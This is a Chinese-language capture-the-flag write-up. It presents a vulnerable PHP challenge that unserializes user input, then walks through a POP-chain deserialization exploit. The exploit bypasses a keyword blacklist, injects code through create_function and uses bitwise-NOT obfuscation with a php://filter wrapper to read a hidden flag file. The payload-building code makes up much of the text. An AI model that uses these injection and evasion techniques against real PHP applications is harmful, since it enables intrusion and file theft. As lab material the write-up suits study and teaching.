<?php class A { public $var; public function show(){ echo $this->var; } public function __invoke(){ $this->show(); } } class B{ public $func; public $arg; public function show(){ $func = $this->func; if(preg_match('/^[a-z0-9]*$/isD', $this->func) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log/i', $this->arg)) { die('No!No!No!'); } else { include "flag.php"; //There is no code to print flag in flag.php $func('', $this->arg); } } public function __toString(){ $this->show(); return "<br>"."Nice Job!!"."<br>"; } } if(isset($_GET['pop'])){ $aaa = unserialize($_GET['pop']); $aaa(); } else{ highlight_file(__FILE__); } ?>
思路很明顯,要執行B類中的show函數,來包含flag(但是它這個包含也不會輸出,這里等會分析)
怎么執行是看A類
__invoke函數是調用A類時候會觸發,調用A類,觸發show方法,show方法輸出 $var。
而讓$var等於B類,B類中的__toString()方法會調用B的show函數
至於怎么調用A類,這里傳入pop參數,反序列化后,原代碼會調用pop反序列化
那么下面就是分析如何反序列化到A類的show方法時能夠包含
public function show(){ $func = $this->func; if(preg_match('/^[a-z0-9]*$/isD', $this->func) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log/i', $this->arg)) { die('No!No!No!'); } else { include "flag.php"; //There is no code to print flag in flag.php $func('', $this->arg); } }
先看正則表達式,前面是$func不能是開頭到結尾純數字字母,i是大小寫都匹配,s是匹配任何空白符號(空格,制表),D是結尾不是換行符號
這里很好繞過,比如var_dump含有一個_即可繞過。或者開頭換行符號都可以
后面是$arg過濾了一大堆東西,
都滿足就會包含flag.php,但沒啥用,因為沒輸出。同時會把$當作函數名,傳入兩個參數,一個是空字符串,一個是$arg
既然包含沒用,不如從后面函數執行想辦法,首先這個函數是要有兩個參數,還能任意命令執行的
這里對着手冊很快能找到函數create_function,傳入
return(1);}任意代碼;//
}會和前面{閉合,后面注釋符號會注釋后面的{,實現執行任意代碼(一開始用/*注釋,但是被過濾了)
$a = new A; $b = new B; $b->func="create_function"; $b->arg='return(1);}system(ls);//';; $a->var=$b; $ser = serialize($a); echo $ser;
構造如上代碼
看到tru3flag.php猜測這個是真flag
但是過濾有很多,單雙引號,flag,小數點全過濾了,這里用到取反
但是還有一個問題是取反后的符號大多數不可打印符號,不方便復制get傳入,因此要對他進行url編碼
$ac=(~('php://filter/read=convert.base64-encode/resource=Tru3flag.php')); $at='return(1);}require(~('.strval($ac).'));//'; $a = new A; $b = new B; $b->func="create_function";; $b->arg=$at; $a->var=$b; $ser = serialize($a); //echo $ser; echo urlencode($ser);
這里用偽協議讀取php內容